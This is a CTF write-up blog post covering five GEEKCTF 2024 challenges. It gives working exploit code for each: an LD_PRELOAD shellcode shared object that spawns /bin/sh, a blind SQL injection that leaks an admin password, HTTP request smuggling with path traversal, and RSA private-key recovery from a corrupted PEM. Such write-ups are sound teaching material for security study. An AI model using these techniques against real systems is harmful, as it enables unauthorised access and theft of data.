blog > GEEKCTF Writeups

21 Apr 2024 ctfshellcodecryptoweb

GEEKCTF Writeups

Played as 𐎼𐎠𐎱𐎹𐎢𐎫𐎠 and reached 2nd. Special thanks to crazyman for letting me know about the competition.

scoreboard

liquor

Good mountain and good water brew good wine, and good wine makes a man speak the truth.

http://chall.geekctf.geekcon.top:40404

Attachment: liquor.zip

1 solve, 1000 points

First blood 🩸 at 68:09:39 from challenge release.

Challenge liquor-server/src/main.rs
rust
// ...
async fn liquor(Json(payload): Json<LiquorInputs>) -> (StatusCode, Json<LiquorOutput>) {
    // Write UTF-8 string to ./words
    if let Err(e) = fs::write("./words", payload.words) {
        return (
            StatusCode::INTERNAL_SERVER_ERROR,
            Json(LiquorOutput(e.to_string() + " when writing words. ")),
        );
    }
    if let Err(e) = fs::write("./truth", "") {
        return (
            StatusCode::INTERNAL_SERVER_ERROR,
            Json(LiquorOutput(e.to_string() + " when clearing truth. ")),
        );
    }
    // run ./liquor
    let mut cmd = &mut Command::new("./liquor");
    // ! with user-provided environment variables
    cmd = cmd.envs(&payload.envs);
    cmd = unsafe {
        cmd.pre_exec(|| {
            let emap = |e: Errno| io::Error::new(io::ErrorKind::Other, e.to_string());
            setgroups(&[]).map_err(emap)?;
            setgid(1000.into()).map_err(emap)?;
            setuid(1000.into()).map_err(emap)
        })
    };
    let mut child = cmd.spawn().unwrap();
    let one_sec = Duration::from_secs(1);
    if child.wait_timeout(one_sec).unwrap().is_none() {
        // child hasn't exited yet
        // child.kill().unwrap();
        let _ = Command::new("/usr/bin/pkill").args(["-u", "ctf"]).status();
        let _ = child.wait().unwrap().code();
        return (
            StatusCode::INTERNAL_SERVER_ERROR,
            Json(LiquorOutput("Timeout. ".to_owned())),
        );
    };
    // Send ./truth to the user
    let r = fs::read_to_string("./truth");
    match r {
        Ok(s) => (StatusCode::OK, Json(LiquorOutput(s))),
        Err(e) => (
            StatusCode::INTERNAL_SERVER_ERROR,
            Json(LiquorOutput(e.to_string())),
        ),
    }
}
// ...

A webservice writes a JSON string to the file ./words, then executes a binary ./liquor with user-specified environment variables to produce a file ./truth which is then read by the server and forwarded to the user. The flag is stored in /flag.

We can set the LD_PRELOAD environment variable to point to ./words so that it is loaded as a dynamic library. The challenge is now to craft a dynamic library that will copy /flag to /liquor/truth that is also a valid UTF-8 string that compiles with UTF-8 leading and continuation bytes.

text
http://phrack.org/issues/62/9.html
Writing UTF-8 compatible shellcodes by greuff
3.1.3. Valid UTF-8 sequences

Now that we know all this, we can tell which sequences are valid
UTF-8:

 Code Points      1st Byte  2nd Byte 3rd Byte 4th Byte
U+0000..U+007F     00..7F
U+0080..U+07FF     C2..DF    80..BF
U+0800..U+0FFF     E0        A0..BF   80..BF
U+1000..U+FFFF     E1..EF    80..BF   80..BF
U+10000..U+3FFFF   F0        90..BF   80..BF   80..BF
U+40000..U+FFFFF   F1..F3    80..BF   80..BF   80..BF
U+100000..U+10FFFF F4        80..8F   80..BF   80..BF

We can refer to a previous writeup of PlaidCTF golf.so on how to golf dynamic libraries as this helps us engineer the ELF headers to avoid unprintable bytes. Other reference texts on UTF-8 compatible x86 shellcode and ASCII-compatible x86_64 assembly teaches us how to craft a payload for execve("/bin/sh", ["/bin/sh", "-c", "cp /flag ./truth"]); exit(0); with some tricks:

  • Labels may have offsets that are not UTF-8, so pad sections with empty space appropriately
  • Reserving space on the stack with sub rsp, ## = 48 83 ec ## is not UTF-8, so use push 0 = 6a 00 instead
  • Moving values between 64-bit registers with (e.g.) mov rax, rcx = 48 89 c8 is not UTF-8, so move them via the stack with push rax; pop rcx = 50 59 instead
    • Stack addresses can be saved using (e.g.) push rsp; pop rcx = 54 59
  • Writing to stack using mov instructions begins with bytes 88-8e which is not UTF-8 while other instructions involving 64 bit immediates are also often not UTF-8, so stack writing is done 4 bytes at a time with push ##; pop rax; xor [rcx+##], eax with rcx as a “stack pointer”
  • Thankfully syscall = 0f 05 is UTF-8

words

Assembly for UTF-8 compatible shared object
asm
; nasm -f bin words.asm -o words.so
BITS 64

; Headers stolen from https://starfleetcadet75.github.io/posts/plaid-2020-golf-so/
ehdr:                               ; Elf64_Ehdr
        db  0x7f, "ELF", 2, 1, 1, 0 ; e_ident
times 8 db  0
        dw  3                       ; e_type
        dw  0x3e                    ; e_machine
        dd  1                       ; e_version
        dq  shell                   ; e_entry
        dq  phdr - $$               ; e_phoff
        dq  0                       ; e_shoff
        dd  0                       ; e_flags
        dw  ehdrsize                ; e_ehsize
        dw  phdrsize                ; e_phentsize
        dw  2                       ; e_phnum
        dw  0                       ; e_shentsize
        dw  0                       ; e_shnum
        dw  0                       ; e_shstrndx
ehdrsize  equ  $ - ehdr

        ; align to nearest 256 bytes
        ; so that phdr (?-$$) is utf-8
        align  0x100, db 0x20

phdr:                               ; Elf64_Phdr
        dd  1                       ; p_type
        dd  7                       ; p_flags
        dq  0                       ; p_offset
        dq  $$                      ; p_vaddr
        dq  $$                      ; p_paddr
        dq  progsize                ; p_filesz
        dq  progsize                ; p_memsz
        dq  0x1000                  ; p_align
phdrsize  equ  $ - phdr
        ; PT_DYNAMIC segment
        dd  2                       ; p_type
        dd  7                       ; p_flags
        dq  dynamic                 ; p_offset
        dq  dynamic                 ; p_vaddr
        dq  dynamic                 ; p_paddr
        dq  dynsize                 ; p_filesz
        dq  dynsize                 ; p_memsz
        dq  0x1000                  ; p_align

        ; align to nearest 256 bytes
        ; so that shell is utf-8
        align  0x100, db 0x20

        ; for debugging
        dq "BEG_"
shell:
        ; memory for arguments
        push 0   ; nullbyte after "./truth"
        push 0   ; " ./truth"
        push 0   ; "cp /flag"
        push rsp
        pop r8   ; r8 = "cp /flag ./truth"
        push 0   ; "-c"
        push rsp
        pop r9   ; r9 = "-c"
        push 0   ; "/bin/sh"
        push rsp
        pop r10  ; r10 = "/bin/sh"

        push rsp
        pop rcx  ; fake stack pointer

        ; rcx+0x00 = r8 = "/bin/sh"
        push 0x6e69622f
        pop rax
        xor [rcx+0x00], eax

        push 0x68732f
        pop rax
        xor [rcx+0x04], eax

        ; rcx+0x08 = r9 = "-c"
        push 0x632d
        pop rax
        xor [rcx+0x08], eax

        ; rcx+0x10 = r10 = "cp /flag ./truth"
        push 0x2f207063
        pop rax
        xor [rcx+0x10], eax

        push 0x67616c66
        pop rax
        xor [rcx+0x14], eax

        push 0x742f2e20
        pop rax
        xor [rcx+0x18], eax

        push 0x68747572
        pop rax
        xor [rcx+0x1c], eax

        ; rax = ["/bin/sh", "-c", "cp /flag ./truth"] and NULL terminator
        push 0
        push r8
        push r9
        push r10
        push rsp
        pop  rax

        push rax
        pop rsi  ; rsi = ["/bin/sh", "-c", "cp /flag ./truth"]
        push r10
        pop rdi  ; rdi = "/bin/sh"
        push 0
        pop rdx  ; rdx = NULL
        push 59
        pop rax  ; execve
        ; uncomment to segfault here for debugging
        ; mov rax, [0xdeadbeef]
        syscall  ; execve("/bin/sh", ["/bin/sh", "-c", "cp /flag ./truth"])

        push 0
        pop rdi
        push 60
        pop rax
        syscall  ; exit(0)

        ; for debugging
        dq "END_"

        ; align to nearest 256 bytes
        ; so that dynamic and progsize is utf-8
        align  0x100, db 0x20

dynamic:
    dt_init:
        dq  0xc, shell
    dt_strtab:
        dq  0x5, shell
    dt_symtab:
        dq  0x6, shell

dynsize  equ  $ - dynamic

progsize  equ  $ - $$
Exploit
py
import requests

url = "http://chall.geekctf.geekcon.top:40404/liquor"

# shouldn't throw UnicodeDecodeError with mode "r"
with open("words.so", "r") as f:
    payload = f.read()

res = requests.post(url, json={
    "envs": {
        "LD_PRELOAD": "/liquor/words"
    },
    "words": payload
})

print(res.text)
output
"flag{A_w1NE_loveR's_mind_is_n0t_D1pped_in_th3_Boble7,_but_Dwell$_In_the_enVIronmeN7}\n"

Here is the payload to test for yourself.

HNP

I am suffering from Herniated Nucleus Pulposus, please help me!

nc chall.geekctf.geekcon.top 40555

Attachment: HNP.tar.xz

5 solves, 733 points

First blood 🩸 at 25:47:06 from challenge release.

With 2048 bit public NN, a random 2048 bit XX and 256 bit Yi,ji,j[0,8)Y_{i,j} \forall i,j \in [0,8) are generated and the values Zi,jZ_{i,j} are generated as

Zi,j=X×(Yi,7Yi,6Yi,1Yi,0)×Yi,jmodN  i,j[0,8)Z_{i,j} = X \times (Y_{i,7} \mathbin\Vert Y_{i,6}\cdots Y_{i,1} \mathbin\Vert Y_{i,0}) \times Y_{i,j} \bmod N \\ \forall \; i, j \in [0,8)

You are given 1023 out of 2048 bits organized in three chunks for each Zi,jZ_{i,j} and need to calculate XX.

After modelling the missing bits of Zi,jZ_{i,j} as three 341 to 343-bit unknowns, we can use sets of Zi,0,Zi,1Zi,7Z_{i,0}, Z_{i,1} \cdots Z_{i,7} as orthogonal vectors of the form Zi,j=W×Yi,jmodNZ_{i,j} = W \times Y_{i,j} \bmod N where W=X×(Yi,7Yi,6Yi,1Yi,0)W = X \times (Y_{i,7} \mathbin\Vert Y_{i,6}\cdots Y_{i,1} \mathbin\Vert Y_{i,0}). This can be solved using lattice reduction with careful scaling for the various columns.

W×Yi,a=Zi,a+ua02341+ua121023+ua221705modNW×Yi,b=Zi,b+ub02341+ub121023+ub221705modN0=Zi,a×Yi,bZi,b×Yi,a+uab02341+uab121023+uab221705modNwhereuabi=uai×Yi,bubi×Yi,auab0,uab1<2256+341,uab2<2256+343\begin{align*} W \times Y_{i,a} & = Z_{i,a} + u_{a0} \cdot 2^{341} + u_{a1} \cdot 2^{1023} + u_{a2} \cdot 2^{1705} \bmod N \\ W \times Y_{i,b} & = Z_{i,b} + u_{b0} \cdot 2^{341} + u_{b1} \cdot 2^{1023} + u_{b2} \cdot 2^{1705} \bmod N \\ 0 & = Z_{i,a} \times Y_{i,b} - Z_{i,b} \times Y_{i,a} + u_{ab0} \cdot 2^{341} + u_{ab1} \cdot 2^{1023} + u_{ab2} \cdot 2^{1705} \bmod N \\ \text{where} \\ & u_{abi} = u_{ai} \times Y_{i,b} - u_{bi} \times Y_{i,a} \\ & |u_{ab0}|, |u_{ab1}| < 2^{256 + 341}, |u_{ab2}| < 2^{256 + 343} \end{align*}

By solving two chunks of i=0,i=1i=0, i=1, we know enough of Y0,j,Y1,jY_{0,j}, Y_{1,j} to recover XX using classic HNP. Careful implementation is needed to finish under time constraint.

SpARse

You stole Alice’s RSA private key, but it is sparse, can you recover the whole key?

flag is md5sum privkey.pem | awk '{print "flag{"$1"}"}'

Attachment: SpARse.tar.xz

6 solves, 687 points

First blood 🩸 at 18:09:50 from challenge release.

Recover wounded RSA key to find partial bits of p,q,d,dp,dqp, q, d, d_p, d_q, with particular care for dqd_q as it is 129 bytes long.

Parse key
py
import base64

with open("sparse.pem", "r") as f:
    raw = f.read()
unkchar = "?"

key_b64 = "".join(raw.split("\n")[1:-1])
key_bytes = base64.b64decode(
    key_b64.replace(unkchar, "A")[:-2] + "=="
)
key_mask = base64.b64decode(
    "".join([
        "/" if i != unkchar else "A"
        for i in key_b64
    ])[:-2] + "=="
)

bufs = [key_bytes, key_mask]
def take(l, desc="?", show=True, full=False, check=None, checkhex=None):
    if check is None and checkhex is not None:
        check = bytes.fromhex(checkhex)
    if check:
        assert int(check.hex(), 16) & int(bufs[1][:l].hex(), 16) == int(bufs[0][:l].hex(), 16)
    if show:
        print(desc)
        for i in range(2):
            if l < 30 or full:
                print(bufs[i][:l].hex())
            else:
                bitcount = bin(int(bufs[i][:l].hex(), 16)).count("1")
                n_set_bits = [f"{bitcount}/{l*8}"] if i == 1 else []
                print(bufs[i][:l][:15].hex(), "...", bufs[i][:l][-15:].hex(), *n_set_bits)
        print()

    ret = []
    for i in range(2):
        ret.append(int(bufs[i][:l].hex(), 16))

    for i in range(2):
        bufs[i] = bufs[i][l:]

    return ret

take(4, "struct header")
take(3, "int length 1, version 0")

take(4, "int length 257")
n, nmask = take(257, "value of n")

take(5, "int length 0x03, e = 0x0100??, likely 0x010001", checkhex="0203010001")
e = 0x10001

take(4, "int length 0x?1??, likely 256", checkhex="02820100")
d, dmask = take(256, "value of d, corrupted")

take(3, "int length 0x?1, likely 129", checkhex="028181")
p, pmask = take(129, "value of p, corrupted")

take(3, "int length 0x?1, likely 129", checkhex="028181")
q, qmask = take(129, "value of q, corrupted")

take(3, "int length 0x80", checkhex="028180")
dp, dpmask = take(128, "value of dp, corrupted")

take(3, "int length 0x81 (could be 0x80, but this gives solution)", checkhex="028181")
dq, dqmask = take(129, "value of dq, corrupted")

with open("params.py", "w") as f:
    f.write(f"{n = }\n")
    f.write(f"{e = }\n")
    f.write(f"{d = }\n")
    f.write(f"{dmask = }\n")
    f.write(f"{p = }\n")
    f.write(f"{pmask = }\n")
    f.write(f"{q = }\n")
    f.write(f"{qmask = }\n")
    f.write(f"{dp = }\n")
    f.write(f"{dpmask = }\n")
    f.write(f"{dq = }\n")
    f.write(f"{dqmask = }\n")
output
struct header
308204a3
ffffffff

int length 1, version 0
020100
ffffff

int length 257
02820101
ffffffff

value of n
00cf7a26efb8e9585aed01464d3d3d ... 89e97345557c8d318be17b10b0a4f9
ffffffffffffffffffffffffffffff ... ffffffffffffffffffffffffffffff 2056/2056

int length 0x03, e = 0x0100??, likely 0x010001
0203010000
ffffffffc0

int length 0x?1??, likely 256
00000100
fc003ffc

value of d, corrupted
0dc0680000000dc003801801a00000 ... 50000200b80000000d750000180000
0fc0fc0000000fc003f03f03f00000 ... ff000fc0fc0000000fff00003f0000 564/2048

int length 0x?1, likely 129
000001
00000f

value of p, corrupted
000000220006920000230009400000 ... 00d00000300000022019000c000007
ff00003f000fff00003f000fc00000 ... 00fc0000fc000003f03f000fc0000f 306/1032

int length 0x?1, likely 129
000001
c0000f

value of q, corrupted
0001454000000000001b020000840e ... 00d000000000000000004000007170
c003ffc000000000003f03f000fc0f ... 00fc0000000000000000fc0000fff0 308/1032

int length 0x80
008180
00ffff

value of dp, corrupted
4000000003601e000000240740dc0c ... 0000780780000ed9034000ee3000f5
c000000003f03f000000fc0fc0fc0f ... 0000fc0fc0000fff03f000fff000ff 388/1024

int length 0x81 (could be 0x80, but this gives solution)
000080
f000fc

value of dq, corrupted
000003f01f000edd00000002a03900 ... 500400064080000000c03500000000
000003f03f000fff00000003f03f00 ... f03f000fc0fc000003f03f00000000 276/1032

Using z3 we can find k,kp,kqk, kp, kq such that

de=k(p1)(q1)+1dpe=kp(p1)+1dqe=kq(p1)+1\begin{align*} d * e &= k * (p-1) * (q-1) + 1 \\ d_p * e &= k_p * (p-1) + 1 \\ d_q * e &= k_q * (p-1) + 1 \\ \end{align*}
Solve k, kp ,kq
py
import z3
import params

nbits = 128

mod = 2 ** nbits
def t(x):
    return x % mod

s = z3.Solver()

p_sym = z3.BitVec("p", nbits)
q_sym = z3.BitVec("q", nbits)

s.add(p_sym & t(params.pmask) == t(params.p))
s.add(q_sym & t(params.qmask) == t(params.q))
s.add(p_sym * q_sym == t(params.n))

dp_sym = z3.BitVec("dp", nbits)
kp_sym = z3.BitVec("kp", nbits)
s.add(dp_sym & t(params.dpmask) == t(params.dp))
s.add(kp_sym >> 17 == 0)
s.add(kp_sym < params.e)
s.add(dp_sym * params.e == kp_sym * (p_sym-1) + 1)

dq_sym = z3.BitVec("dq", nbits)
kq_sym = z3.BitVec("kq", nbits)
s.add(dq_sym & t(params.dqmask) == t(params.dq))
s.add(kq_sym >> 17 == 0)
s.add(kq_sym < params.e)
s.add(dq_sym * params.e == kq_sym * (q_sym-1) + 1)

d_sym = z3.BitVec("d", nbits)
k_sym = z3.BitVec("k", nbits)
s.add(d_sym & t(params.dmask) == t(params.d))
s.add(k_sym >> 17 == 0)
s.add(k_sym < params.e)
s.add(d_sym * params.e == k_sym * (p_sym-1) * (q_sym-1) + 1)

res = s.check() # 6min34s
print(res)

model = s.model()
k = model[k_sym].as_long()
kp = model[kp_sym].as_long()
kq = model[kq_sym].as_long()
print(f"{k = }")
print(f"{kp = }")
print(f"{kq = }")
output
sat
k = 39770
kp = 30590
kq = 64743

Eventually, we get k=39770,kp=30590,kq=64743k = 39770, k_p = 30590, k_q = 64743. We can use this to search-and-prune to solve the low 7881 bits of pp.

Search and prune
py
import params
from itertools import product

limit = 788
k = 39770
kp = 30590
kq = 64743

def choices(cur, val, mask, twiddle_bit):
    if mask & twiddle_bit:
        return [cur + (val & twiddle_bit)]
    else:
        return [cur, cur + twiddle_bit]

def dfs(pos, pval, qval, dval, dpval, dqval):
    global soln

    if pos == limit:
        cur_soln = f"{pval = }\n{qval = }\n{dval = }\n{dpval = }\n{dqval = }"
        soln.append(cur_soln)
        return

    if random.random() < 0.0001:
        display.display(pos, len(soln), clear=True)

    twiddle_bit = 2 ** pos
    mod = twiddle_bit * 2

    pchoices  = choices(pval, params.p, params.pmask, twiddle_bit)
    qchoices  = choices(qval, params.q, params.qmask, twiddle_bit)
    dchoices  = choices(dval, params.d, params.dmask, twiddle_bit)
    dpchoices = choices(dpval, params.dp, params.dpmask, twiddle_bit)
    dqchoices = choices(dqval, params.dq, params.dqmask, twiddle_bit)

    for pnext, qnext in product(pchoices, qchoices):
        if pnext * qnext % mod != params.n % mod:
            continue

        for dpnext in dpchoices:
            if dpnext * params.e % mod != (kp * (pnext - 1) + 1) % mod:
                continue

            for dqnext in dqchoices:
                if dqnext * params.e % mod != (kq * (qnext - 1) + 1) % mod:
                    continue

                for dnext in dchoices:
                    if dnext * params.e % mod != (k * (pnext - 1) * (qnext - 1) + 1) % mod:
                        continue

                    dfs(pos+1, pnext, qnext, dnext, dpnext, dqnext)

dfs(0, 0, 0, 0, 0, 0)
for s in soln:
    print(s)
output
pval = 887688208600590008791464858306836198534448489895016805349943297171794363325727772207412151175392110746438108868631941169878795063752031572193068694599410790560307931100163436406168989151462072455948472036260555086633395950230586937423239
qval = 1624794248011133468697695565404136476875206637561644846902853714542528816135496601854750526571323643766827905265992588929161934221988369673325857586049362693085858630271578104889723160022092022066742272630515414049506655410860728676610431
dval = 523190016019970494514198745323723434618080828131536961612542343166909570729425476368699782358317102718735849003857412728999303814414652963116702387395808505389913235216452350082103993168562411298257943620799420987997942501826243499393993
dpval = 116853901831515108968594547416935345385070879453949626338879956752651809430634699180743132814537508888031739823224064752140243253449409098131997279744298997358312883639226695179378127038428241774195803031417768762918159786888191752249845
dqval = 497870380271765222392429462762522141827081560043750281573535259718456091143583342781295119633461413331083366092875230372353405216189914898562788729882524239116712859216150506150143272744904201560069677620668837322707439821879845619134643

The rest of pp can be solved using small roots.

Small roots
sage
import params

Fn = Zmod(params.n)
Rn.<x> = PolynomialRing(Fn)
p_low_788 = 887688208600590008791464858306836198534448489895016805349943297171794363325727772207412151175392110746438108868631941169878795063752031572193068694599410790560307931100163436406168989151462072455948472036260555086633395950230586937423239
poly = x * 2^788 + p_low_788
poly = poly.monic()
res = poly.small_roots(2^(1024-788), beta=0.49)
p = ZZ(res[0]) * 2^788 + p_low_788
assert params.n % p == 0

print(f"{p=}")
output
p=147265078724969536365832804097158908382797954720876979653011951728406956112387192598824544012306646169035006144198481048711301331247260259281889124056472140003652896595645729235440361839211945606851933815085064600602384039806104472396638159553493474999959228820209555647809413406679561108752796856362130322823

And the flag can be obtained by regenerating the private key file.

Recover flag
ipython
import params
from Crypto.PublicKey import RSA

n = params.n
p = 147265078724969536365832804097158908382797954720876979653011951728406956112387192598824544012306646169035006144198481048711301331247260259281889124056472140003652896595645729235440361839211945606851933815085064600602384039806104472396638159553493474999959228820209555647809413406679561108752796856362130322823
q = n // p

tot = (p-1) * (q-1)
e = params.e
d = pow(e, -1, tot)

rsa_key = RSA.construct(tuple([int(i) for i in [n, e, d, p, q]]))
rsa_key_bytes = rsa_key.export_key("PEM")
with open("key_solved.pem", "wb") as f:
    f.write(rsa_key_bytes)

!md5sum key_solved.pem | awk '{print "flag{"$1"}"}'
output
flag{d13b8e56805cf71cb75789dda1816587}

For more challenges on wounded RSA keys, see ACSC 2023 Corrupted and UIUCTF 2022 Bro-key-n.

SafeBlog2

Using WordPress is a bit too dangerous, so I’m developing my own blogging platform, SafeBlog2, to have full control over its security.

P.S. It is recommended to test your exploit locally before creating an online instance.

Attachment: SafeBlog2.zip, (Instancer)

8 solves, 611 points

The challenge implements a blog with comments and like counters backed by a suspicious query builder. A 32-character hex string is the admin password stored inside of the admins table, and is reset after the query builder is used 4 times.

Challenge db.js
js
let queries = 0;

function filterBuilder(model, filter) {
  return {
    where:
      'WHERE ' +
      Object.keys(filter)
        .map((key, index) => {
          assert(models[model].includes(key), `Invalid field ${key} for model ${model}`);
          return `${key} = ?`;
        })
        .join(' AND '),
    params: Object.values(filter),
  };
}

function sortBuilder(model, sort) {
  return Object.keys(sort)
    .map((key, index) => {
      assert(models[model].includes(key), `Invalid field ${key} for model ${model}`);
      assert(['ASC', 'DESC'].includes(sort[key]), `Invalid sort order ${sort[key]} for field ${key} in model ${model}`);
      return `${key} ${sort[key]}`;
    })
    .join(', ');
}

async function runQuery(model, filter, sort) {
  queries++;
  const { where, params } = filter ? filterBuilder(model, filter) : { where: '', params: [] };
  const order_by = sort ? `ORDER BY ${sortBuilder(model, sort)}` : '';
  return new Promise((resolve, reject) => {
    db.all(`SELECT * FROM ${model} ${where} ${order_by}`, params, (err, rows) => {
      if (err) {
        reject(err);
      } else {
        resolve(rows);
        if (queries >= 4) {
          db.run(`UPDATE admins SET password = "${passwordGenerator(16)}" WHERE id = 1`);
          queries = 0;
        }
      }
    });
  });
}

Firstly, NODE_NDEBUG=1 disables any calls to require('assert-plus') and we can ignore it.

The runQuery function builds a SQL query depending on the data in filter and sort. In the /comment/like endpoint, the GET parameters are passed directly to runQuery as filter. We can use query parameters with malformed keys to inject text into the SQL statement itself.

js
// GET /comment/like?post_id=1
// turns into
db.all(`SELECT * FROM comments WHERE post_id = ?`, ["1"]);
// GET /comment/like?post_id=1&inject=1
db.all(`SELECT * FROM comments WHERE post_id = ? AND inject = ?`, ["1", "1"]);
// GET /comment/like?post_id=1&%271%27+%3D+%271%27+OR+%271%27=1
//                             key   = "1&'1' = '1' OR '1'"
//                             value = "1"
db.all(`SELECT * FROM comments WHERE post_id = ? AND '1' = '1' OR '1' = ?`, [
  "1",
  "1",
]);
// ...

One way to leak the admin password would be to use a subquery to load the admin password, then incorporate the password into the filter so that a subset of comments are returned and their like counters are increased. For example, we can abuse the LIKE operator by inserting patterns in comment contents such as content = '%0%', content = '%1%', then injecting:

sql
SELECT * FROM comments WHERE (SELECT password from admins) LIKE content AND '1' = ?

If the admin password contains 0 but not 1, the like counter for the first comment will increase but the second comment will stay the same.

We can author comments where the content checks if each of the 16 possible hex characters are in each of the 32 positions of the admin password, then call /comment/like with our SQL injection to bulk-like the relevant comments. By keeping track of which comments have a non-zero like counters, the password can be recovered.

Exploit
py
import requests
from itertools import product
from tqdm.auto import tqdm
from pwn import xor

url = "http://38y7gfgqghbr9ebr.instance.chall.geekctf.geekcon.top:18080"
hexchars = "0123456789abcdef"

# Author the 512 comments
for c, pos in tqdm(product(hexchars, range(32)), total=16 * 32):
    requests.get(url + "/comment/new", params={
        "post_id": '1',
        "name": "a",
        "content": "_" * pos + c + "_" * (31-pos)
    }, allow_redirects=False)

# Like the relevant comments with SQLi and subquery
requests.get(url + "/comment/like/", params={
    "post_id": '1',
    """ '1' = '1' AND (SELECT password from admins) LIKE content AND '1'""".strip(): "1"
}, allow_redirects=False)

# Find which comments were liked
res = requests.get(url + "/post/1")
pwparts = [
    p.partition("</li>")[0][90:][:32]
    for p in res.text.split("<li>")
    if "1 Likes" in p
]
pw = xor(*pwparts, "_" * 32).decode()
print(pw)

# Claim flag
res = requests.get(url + "/admin", params={
    "username": "admin",
    "password": known
})

print(res.text)
output
0%|          | 0/512 [00:00<?, ?it/s]
8855d833455ed060eb72e76925336ffe

<!DOCTYPE html>
<html lang="en">
[...]
    <h2>Welcome back, Admin!</h2>
    <p>Here is your flag: <code>flag{BL1nd_5ql_!NJeC71on_1S_PoS5ib13_W17h_0nLy_4_9ueRiE5}</code></p>
[...]
</html>

PicBed

PicBed is an elegant image hosting service which uses webp_server_go to serve your JPG/PNG/BMP/SVGs as WebP/AVIF format with compression, on-the-fly.

P.S. It is recommended to test your exploit locally before creating an online instance.

Attachment: PicBed.zip, (Instancer)

7 solves, 647 points

A flask server makes a HTTP request using raw sockets to a webp-server-go server and our goal is local file inclusion of a flag image outside of the directory for uploads.

The python server reads a url-encoded Accept header and injects that to the socket payload; we can use this for request smuggling by adding a Connection: Keep-Alive header and including an entire second request of our own control.

Challenge app.py
py
def fetch_converted_image(path, accept, timeout=0.5):
    """
    Send user request to webp server and get the converted image
    """
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(("127.0.0.1", 3333))
    s.send(
        f"GET /{path} HTTP/1.1\r\nAccept: {accept}\r\nConnection: close\r\n\r\n".encode()
    )
    chunks = []
    begin = time.time()
    while True:
        if time.time() - begin > timeout:
            break
        try:
            data = s.recv(4096)
            chunks.append(data)
        except:
            pass
    chunks = b"".join(chunks)
    image = chunks.split(b"\r\n\r\n")[-1]
    type = re.search(b"Content-Type: ([^\r\n]+)", chunks).group(1)
    return image, type.decode() if type else "text/plain"

@app.route("/pics/<string:path>")
def pics(path):
    if path not in os.listdir("pics"):
        abort(404)
    accept = unquote_plus(request.headers.get("Accept"))
    img, type = fetch_converted_image(path, accept)
    return img, 200, {"Content-Type": type}

webp-server-go uses the fiber webserver and normalizes some of it’s paths to avoid path traversal. However, some other source suggests that golang’s path cleaning may not be robust. We can replicate the normalization with our own server and investigate.

go
// go mod init example.com/m
// go get github.com/gofiber/fiber/v2
// go run main.go

package main

import (
	"net/url"
	"path"
	"fmt"
	"github.com/gofiber/fiber/v2"
)

func main() {
    app := fiber.New()

    app.Get("/*", func(c *fiber.Ctx) error {
		var reqURIRaw, _ = url.QueryUnescape(c.Path())
		var reqURI = path.Clean(reqURIRaw)
		var rawImageAbs = path.Join("./pics", reqURI)

        return c.SendString(fmt.Sprintf("c.Path: %s\nreqURIRaw: %s\nreqURI: %s\nrawImageAbs: %s", c.Path(), reqURIRaw, reqURI, rawImageAbs))
    })

    app.Listen(":3000")
}
nc
$ nc localhost 3000

> GET /a/b/c HTTP/1.1
< c.Path: /a/b/c
< reqURIRaw: /a/b/c
< reqURI: /a/b/c
< rawImageAbs: pics/a/b/c

> GET /../../../../flag.png HTTP/1.1
< c.Path: /../../../../flag.png
< reqURIRaw: /../../../../flag.png
< reqURI: /flag.png
< rawImageAbs: pics/flag.png

> GET ../../../../flag.png HTTP/1.1
< c.Path: ../../../../flag.png
< reqURIRaw: ../../../../flag.png
< reqURI: ../../../../flag.png
< rawImageAbs: ../../../flag.png

If we omit the leading slash of the path parameter, rawImageAbs remains relative and we have local file inclusion.

Exploit
py
import requests

def encode_all(string):
    return "".join("%{0:0>2x}".format(ord(char)) for char in string)

url = "http://vmhh9q6rtj8mjxpf.instance.chall.geekctf.geekcon.top:18080"

res = requests.post(url + "/upload", files={
    "pic": open("oiia.jpg", "rb") # whatever image you have here
})
path = res.text.rpartition('img src="')[-1].partition('"')[0]

rn = "\r\n"
payload = (
    "*/*" + rn +
    "Connection: Keep-Alive" + rn +
    "" + rn +
    "" + rn +
    #    v no leading slash!!!
    "GET ../../flag.png HTTP/1.1" + rn +
    "Accept: */*"
)
res = requests.get(url + path, headers={
    "Accept": encode_all(payload)
})
with open("flag.png", "wb") as f:
    f.write(res.content)

Footnotes

  1. The number of candidate solutions derived from search-and-prune at the 900 bit range becomes exponential; 788 bits was chosen because there was only one candidate.